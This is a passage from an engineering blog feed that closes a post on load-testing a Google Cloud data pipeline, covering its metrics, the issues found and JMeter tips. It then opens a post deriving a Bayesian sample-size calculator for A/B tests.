pipeline</h4> This is the number of vCPUs in use by a pipeline, as we have used Google Cloud DataFlow in our data pipeline which scales automatically depending upon the system throughput. We must know when the pipeline scales. <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/8307d77e06e8656e56de47233591cf14/cab8c/pt_datalayer_7.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 53.75722543352601%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsSAAALEgHS3X78AAABYklEQVQoz31Sy07DMBDM/38CX4LEEQ5c4EaVAxWosZwmJJTEztOxh10TR24prDRaZz3Zh2eTZVkwjuOKAdM0+fMwjKsfPLqu85jnGc45WGs9+Bz+4buEE+Z5jqIoIETmz8fjEZJ8XVWo6hoVeb7nO6U1vFGiYEop9H3/k5Czl0Tm6jKXPqnICELAGINrxl3FCDG2JARD+xuJPREoSncEz1l+JQvgkdknLmo9rlRSd9N7AS1rzPSeEM9o9QdKmiTmXVrC1eNK1hMdXnSP5jHF1+6AWTVAeofyJCBb5X+0Fx3yhNvInID9sgbTtsVNJrF/2EGnGabmE25/j1Mj0Ztl48fJwnuTKAua2fi3CmM8nSrcFqTsa47+TULlBVx1IIXrrehfYiUzVTSrICHYcbUgDK2VnQbA9F4k5+xVpc9GDuDV4TViY9V4t9h4HE37x8kCj3cu8Pj74g3P9+va2Uaj/sf7BqQJXBdpzEYLAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="pt datalayer 7" title="pt datalayer 7" src="/static/8307d77e06e8656e56de47233591cf14/1e043/pt_datalayer_7.png" srcset="/static/8307d77e06e8656e56de47233591cf14/991de/pt_datalayer_7.png 173w, /static/8307d77e06e8656e56de47233591cf14/e4d6b/pt_datalayer_7.png 345w, /static/8307d77e06e8656e56de47233591cf14/1e043/pt_datalayer_7.png 690w, /static/8307d77e06e8656e56de47233591cf14/cab8c/pt_datalayer_7.png 744w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> <h4 id="number-of-unacknowledged-messages-in-pubsub" style="position:relative;"><a href="#number-of-unacknowledged-messages-in-pubsub" aria-label="number of unacknowledged messages in pubsub permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Number of Unacknowledged messages in PubSub</h4> For a running pipeline, ideally, this number along-with the system latency metric should remain bounded in a range decided as per business requirements. We can see below that unacknowledged messages reached a peak of 16 Million during one of the load tests. <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/7c9b72a11ef561cd5214c0af56a198d9/1132d/pt_datalayer_8.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.06936416184971%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsSAAALEgHS3X78AAABQElEQVQoz4WT2XKDMAxF8/9fl4f2pUyAAi0MS0IBG+OFW0sMaUhCoxmB0HIsG/mgtYZSCkIIjOPI9qpSSvaTba2FMeZB1xriTNOEAyXmeY4kSZCmKYIgQBzHiKIIWZZxbBgG7Enf97zoBliWJbquQ1EUCMOQgafTiZNXmef5qZJQpyQMXD/2xDn3L4zidDQb4G0SJay6ByKWcwZ6EgyicyT/psP94r1t+p8mGraVGh+3fF/w8ty0xKX6eA6cb4oZZPwWXpyd9R1W+RGDqH23jqruOnSO37KOoL7eKL4AruDtAkb7+Wti/HwfYd3816G1BrI9w4oOdhSo4nfoMsRwrtB7/yR6tE2FcegguxZtXUL7vLYq0OefUJccxLgC6UF/iQaTb402fkXw9FNsvQ3L4Gq2yad8bPK5xs4+ttwaqvkFg3RdMUROWC4AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="pt datalayer 8" title="pt datalayer 8" src="/static/7c9b72a11ef561cd5214c0af56a198d9/1e043/pt_datalayer_8.png" srcset="/static/7c9b72a11ef561cd5214c0af56a198d9/991de/pt_datalayer_8.png 173w, /static/7c9b72a11ef561cd5214c0af56a198d9/e4d6b/pt_datalayer_8.png 345w, /static/7c9b72a11ef561cd5214c0af56a198d9/1e043/pt_datalayer_8.png 690w, /static/7c9b72a11ef561cd5214c0af56a198d9/e3189/pt_datalayer_8.png 1035w, /static/7c9b72a11ef561cd5214c0af56a198d9/1132d/pt_datalayer_8.png 1158w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> <div style="margin: 10px;"> Unacknowledged messages in the subscriptions </div> </div> <h2 id="issues-observed" style="position:relative;"><a href="#issues-observed" aria-label="issues observed permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Issues observed</h2> <h4 id="data-duplication" style="position:relative;"><a href="#data-duplication" aria-label="data duplication permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Data Duplication</h4> One of the critical issues we observed that the data in our database was getting duplicated. For some messages we have sent to Google Cloud PubSub, we received them twice/found them duplicated. With Cloud Pubsub, unlike <a href="https://kafka.apache.org/">Apache Kafka</a>, we cannot seek a particular message offset and consume data from there. As a result, in case of failures, retries, and upscaling/downscaling of machines, Pubsub/Dataflow can not guarantee exactly-once writes for sinks that are not idempotent. Our team had to add a de-duplication logic to remediate this issue. <h4 id="cost-inefficiency-of-the-solution" style="position:relative;"><a href="#cost-inefficiency-of-the-solution" aria-label="cost inefficiency of the solution permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cost Inefficiency of the solution</h4> Google Cloud Platform gives us a detailed overview of the billing and charges based on our usage. During our load tests, we found out that certain services in our data pipeline would be too costly on higher visitor traffic. Naturally, we found this out early and remediated the issue by changing our architecture. <h4 id="load-test-scripts-inefficiency" style="position:relative;"><a href="#load-test-scripts-inefficiency" aria-label="load test scripts inefficiency permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Load test scripts inefficiency</h4> Not every time we find the problems in the SUT (System Under Test). In the early stages, we found that the load test scripts we created were a memory hog. Despite using all the machine’s memory, the scripts could not generate enough load. We debugged and found out potential issues related to the problem. See the best practices section in this blog for more on this. <h4 id="data-loss" style="position:relative;"><a href="#data-loss" aria-label="data loss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Data Loss</h4> We observed data loss in the system at a very high load. One of the primary reasons for this issue was the high number of update transactions in PostgreSQL. The dead tuples were getting created at a higher rate than they were getting cleaned by the <a href="https://www.postgresql.org/docs/9.6/routine-vacuuming.html">auto-vacuum daemon</a>. This resulted in bloating of the database which subsequently leads to data write being stopped. <h2 id="summary" style="position:relative;"><a href="#summary" aria-label="summary permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Summary</h2> Performance testing should be planned carefully and done in an organized manner. We should start it in the early stages of the software development process as it helps in uncovering some of the most critical bugs, which otherwise may prove catastrophic in the future. <h2 id="best-practices-for-apache-jmeter" style="position:relative;"><a href="#best-practices-for-apache-jmeter" aria-label="best practices for apache jmeter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Best practices for Apache JMeter</h2> <ul> <li>Always use the latest version of Apache JMeter.</li> <li>Use the non-GUI mode.</li> <li>Minimize the use of conditional logic (If statements) in your load test scripts.</li> <li>Use JSR223 components instead of Beanshell wherever possible.</li> <li>Disable the <a href="https://jmeter.apache.org/usermanual/component_reference.html#View_Results_Tree">View Results Tree</a>, <a href="https://jmeter.apache.org/usermanual/component_reference.html#Debug_Sampler">Debug Sampler</a>, and <a href="https://jmeter.apache.org/usermanual/component_reference.html#Summary_Report">Summary Report</a> components during the load test.</li> <li>Use the caching option if you don’t have a direct reference to a variable.</li> </ul></content:encoded><author>Sushant Soni</author></item><item><title><![CDATA[Maths behind Bayesian Duration Calculator]]></title><description><![CDATA[Introduction The culture of experimentation is strongly picking up in several sectors of industry. It has become imperative to measure the…]]></description><link>https://engineering.wingify.com//posts/maths-behind-bayesian-duration-calculator/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/maths-behind-bayesian-duration-calculator/</guid><pubDate>Mon, 14 Dec 2020 00:00:00 GMT</pubDate><content:encoded><h2 id="introduction" style="position:relative;"><a href="#introduction" aria-label="introduction permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Introduction</h2> The culture of experimentation is strongly picking up in several sectors of industry. It has become imperative to measure the impact of product ideas with an A/B test. But before one experiment, it is highly recommended to calculate the sample size needed to measure the effect. This advice comes from the traditional approach of hypothesis testing(used in clinical trials, agriculture, etc) as it gives an estimate of the experiment cost one is likely to incur. Running a test beyond the necessary threshold when the desired effect doesn’t exist can result in wasted time and resources that could be spent elsewhere. That is why this calculation is so important. <h2 id="overview" style="position:relative;"><a href="#overview" aria-label="overview permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Overview</h2> The duration calculators available in the industry are built on the frequentist based hypothesis testing in which for a certain Type 1 and Type 2 error and a given Conversion Rate(<code class="language-text">CR</code>), improvement, and number of variations one gets an estimated sample size (refer <a href="https://vwo.com/blog/ab-test-duration-calculator/">A/B Test Duration Calculator</a> for more details). However, if one cares about bayesian metrics these calculators do not provide a correct estimate of the test as they do not take into account the bayesian metrics criteria in their sample size calculation. We at VWO have built a sample size calculator that aligns well with the bayesian metrics we use to check smart decisions in an A/B test. This gives the user a perspective on when a test will end with a smart decision in VWO in median cases if the assumptions on conversion rate and minimum improvement of an experiment by the user holds true. We also provide a heuristic to obtain extreme estimates beyond which there is no point running the test for a given improvement. Traditionally this requires simulations at the bayesian metric level which was computationally intensive and used to take a lot of time to finish. Now using the proposed analytical form, the simulations required to obtain extreme estimates can be performed blazingly fast. In the proposed bayesian calculator you are asked for the base conversion rate, the number of variations you plan to have, the size of the minimum improvement you wish to test in the experiment, and the metric threshold. The result of the calculation is the size of the samples needed to reach the threshold. We use probability to beat baseline and Potential Loss metrics to measure statistical significance. To learn more about their definitions please visit - <a href="https://help.vwo.com/hc/en-us/articles/360033471874">How VWO Calculates a Winning Variation</a>. <h2 id="estimating-visitors-for-probability-to-beat-baseline" style="position:relative;"><a href="#estimating-visitors-for-probability-to-beat-baseline" aria-label="estimating visitors for probability to beat baseline permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Estimating Visitors for probability to beat baseline</h2> The probability to beat baseline(<code class="language-text">PBB</code>) is the number of times a Variation is better than the other variation after Monte Carlo sampling is performed. Another way to look at it graphically when two variations are involved, if we compute an uplift distribution such that the difference in Monte Carlo samples of B from A, where Conversion Rate of Variation B is better than Conversion Rate of A we would obtain the following plot as: <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/d0e06a73bd09290e54f0c1363f5e7183/2d920/uplift-distribution.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.61271676300578%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAABYlAAAWJQFJUiTwAAABxUlEQVQ4y6WUi46bMBBF+f+/q6p0aV4bwEDDyzYB84p96zHbJDRRilRLFmBm7pzBvnh4M5q2RVEUEEKAc+6ul8vlXQo8rbULam3ybTYN+r7Hab/Dx2aD/f6A7fYnfN+393vUdQ1ZN7aARFVVrhhdu66DN02TEyTh6/V6n8ZAWyJMA84lbIE7xThOCOMBcSIQRQGSJAFjDFJKeJSslHqJb6TAtVX45ht87DSmydDq/M48xxOYI6Q25yBzny5CIAkVsgrISoMT07e4r5KLnJeCN2G6qQUOW4W2n5NPzGAYzVPxP89vCWnImCMO1I2mH4zd+f8QHCuOTi4Fd5/6qZvVgoHPMTbdIpHanjcH6wmJhjhCK6jVUrDvDUT9SLdSkNdAe+bA0LmURxra8ZUtayfW9RqloHNIhOovwXljuNSvjw05pH+wQW2tmhVfjVws5jC8PPRpbme2XCMwj1wSBAHSs8DmR4TDZ4VTwKxPOVK7nqUJKuvVPM+dh8MwdBZjLEKcSnzfMARRiYj9sjEZPDI0/VEGS1IUOaaxs0YvnR2FTeTWz8fj0f4ctk6IYsdxdAW0HlGWhSVT7h0V9LBiUCB9H/re/xq/ARSP34MaYC+WAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="uplift distribution" title="uplift distribution" src="/static/d0e06a73bd09290e54f0c1363f5e7183/2d920/uplift-distribution.png" srcset="/static/d0e06a73bd09290e54f0c1363f5e7183/991de/uplift-distribution.png 173w, /static/d0e06a73bd09290e54f0c1363f5e7183/e4d6b/uplift-distribution.png 345w, /static/d0e06a73bd09290e54f0c1363f5e7183/2d920/uplift-distribution.png 536w" sizes="(max-width: 536px) 100vw, 536px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> <ul> <li>the <code class="language-text">PBB</code> of B can be interpreted as the area under the uplift curve and the right of the y-axis</li> <li>and, the <code class="language-text">PBB</code> of A would be the area under the uplift curve and on the left of the y-axis.</li> </ul> To estimate the number of visitors to see improvement in B we will try to find the standard deviation of uplift distribution(<a href="https://en.wikipedia.org/wiki/Standard_error">Standard Error</a>) such that: $$PBB_B \approx PBB_{Threshold}$$ Then by using the standard error and standard deviation obtained from input parameters we can obtain a visitor estimation. Though we don’t know the analytical form of uplift distribution, however, as per the <a href="https://en.wikipedia.org/wiki/Central_limit_theorem">Central Limit Theorem</a>, after a certain number of visitors, the uplift distribution tends to become <a href="https://en.wikipedia.org/wiki/Normal_distribution">Normal Distribution</a> whose mean is: $$\delta(CR * Improvement)$$ and Standard Deviation would depend upon the number of visitors obtained in the test. Theoretically, if infinite data is provided it would become <a href="https://en.wikipedia.org/wiki/Dirac_delta_function">Dirac Delta distribution</a>. <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/b5e20a47b3b3b361cb61b75f195317b6/2c288/dirac-delta-distribution.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 75.72254335260115%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABYlAAAWJQFJUiTwAAABPklEQVQ4y+1U2W6DQAzM//8e6gMkAcKNOIK4j+xO16Zsk9BUbZ87krXO2J7YsOYAhWVZIKVEWZY4nU4IggCXi6vsgjiO4XmePsnSNIHvuYiiCEIIriUjHIZhQNu2GMcReZ7r4iAIWThJEi5M05T5JIlgOxGMNxeWZSLLMo5VVbUKkhj9yzPGCS/RDUBVgycio0au1yt3yYI0MoEIIah1iboRipd6nHujOPDYRNd13NhOcHsWTStxu8kHfg2t52qf+dukvxTc//6z4Cv8C74SlCy43OTHW/3edoJfXey2UzdN4MfQ97BpGr16RPZ9r/wBWd4pvsc0jaD1pDidW86zT6vHgr7vIwxDHttxHN5X8s/nM+8pCRmGoXnLslAUBeZ5hmmaLEQ5x+ORGztsXwvCs0+o6xq2bbP4upr7nPvad/GhlGyX1giCAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="dirac delta distribution" title="dirac delta distribution" src="/static/b5e20a47b3b3b361cb61b75f195317b6/2c288/dirac-delta-distribution.png" srcset="/static/b5e20a47b3b3b361cb61b75f195317b6/991de/dirac-delta-distribution.png 173w, /static/b5e20a47b3b3b361cb61b75f195317b6/e4d6b/dirac-delta-distribution.png 345w, /static/b5e20a47b3b3b361cb61b75f195317b6/2c288/dirac-delta-distribution.png 684w" sizes="(max-width: 684px) 100vw, 684px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> Based on the assumption of uplift distribution as Normal distribution, <code class="language-text">PBB</code> can be computed analytically as: $$1 - Norm(\delta,SE).cdf(0)$$ where <code class="language-text">CDF</code> is the cumulative density function and <code class="language-text">SE</code> is the standard error. The standard deviation of the data distribution can be computed as: $$\sigma_1^2 = CR1(1-CR1)$$ $$\sigma_2^2 = CR2(1-CR2)$$ $$\sigma = \sqrt{\sigma_1^2 + \sigma_2^2}$$ Using Standard Error(<code class="language-text">SE</code>) and <code class="language-text">σ</code>, we can compute the Number of Visitors(<code class="language-text">N</code>) as: $$N = nVars * \Big( \dfrac{\sigma}{SE} \Big) ^2$$ where <code class="language-text">nVars</code> is the Number of Variations <h2 id="estimating-visitors-for-potential-loss" style="position:relative;"><a href="#estimating-visitors-for-potential-loss" aria-label="estimating visitors for potential loss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Estimating Visitors for Potential Loss</h2> A potential loss is a distribution that can be interpreted as the loss in conversion rate you are likely to incur if you select a variation that is not the best variation. Logic to compute the potential loss is: $$Potential Loss_B = Max(0, CR_{Not\space B} - CR_B)$$ Essentially, it is an uplift distribution where the probabilities associated with the negative values of uplift are concentrated at 0. The resultant distribution of variation B would be similar to the following plot. <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/ef9676ea9693b1f0cd2f753e125b38cc/dba9a/potential-loss-distribution.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 72.83236994219652%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABYlAAAWJQFJUiTwAAABdElEQVQ4y92TXU/CMBSG9/9/gb9Ar9QrL1TiMJFEQogu2SAwI/vECY59Fdm6j9e2YxEh0YVLT/KkpzvN23c9rZRlGZIkAQlWiOMYIYMQgoRBtog6SVg9QhiEiCI2hqGA57xeryGQ+IeyKjDsa3AXAQjNUBQF8jwX8JxSipc3H877B0aaClXTMJlMoOs6VFWF53lCLAgCSNwVj478DNMLkKHCQVQVnqYeDHcJ17FhGCbm8zlc14VpmmxuwHEc4ZY5rAXlewUWE0yrElyzYiK7tIn1er0j2K0d7gs2UZbVwSb7G7YW/E3oKMG/4p8J7p5jK8HmHspdpRYsC7GAd/UHVU2LpkRicscutr0IkeP42DpMQLMNrjsDnFw+4rSj4OxGwbms4qKr4qo3xm1fx4MyQ48x0EwMxxZGr3NMzfr1zJwFbM/H0l9Baixzp5s0Q5rlbKSCT0ZKc0Qxgb9iz5LlDTTn751RfMOPRGrTySgKYVtWq9/+Apt6h3Y1qyJxAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="potential loss distribution" title="potential loss distribution" src="/static/ef9676ea9693b1f0cd2f753e125b38cc/dba9a/potential-loss-distribution.png" srcset="/static/ef9676ea9693b1f0cd2f753e125b38cc/991de/potential-loss-distribution.png 173w, /static/ef9676ea9693b1f0cd2f753e125b38cc/e4d6b/potential-loss-distribution.png 345w, /static/ef9676ea9693b1f0cd2f753e125b38cc/dba9a/potential-loss-distribution.png 652w" sizes="(max-width: 652px) 100vw, 652px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> We will find the standard deviation of this distribution such that its mean becomes close to the threshold of caring. Then by using the standard error and standard deviation obtained from input parameters we can obtain a visitor estimation as explained in the previous section. We will use a <a href="https://en.wikipedia.org/wiki/Truncated_normal_distribution">Truncated Normal Distribution</a> with range [low, high] to represent the positive non-zero portion of the above distribution whose analytical mean can be computed as: $$\mu_{uplift} = -\delta$$ $$\sigma = SE$$ $$a = \dfrac{low-\mu_{uplift}}{\sigma}$$ $$b = \dfrac{upper-\mu_{uplift}}{\sigma}$$ $$\mu = truncNorm(\mu_{uplift}, \sigma, a, b).mean()$$ Then we’ll adjust the mean by taking into account the probability of <code class="language-text">0</code> as represented in the above plot as $$\mu_{adjusted} = \mu * (1 - Norm(\mu_{uplift},\sigma).cdf(0))$$ <h2 id="estimating-standard-error" style="position:relative;"><a href="#estimating-standard-error" aria-label="estimating standard error permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Estimating standard error</h2> We'll perform a binary search on standard error such that it provides an estimate close to the required probability to beat baseline/Potential Loss within a certain error bound. <h2 id="duration-estimation-in-extreme-cases" style="position:relative;"><a href="#duration-estimation-in-extreme-cases" aria-label="duration estimation in extreme cases permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 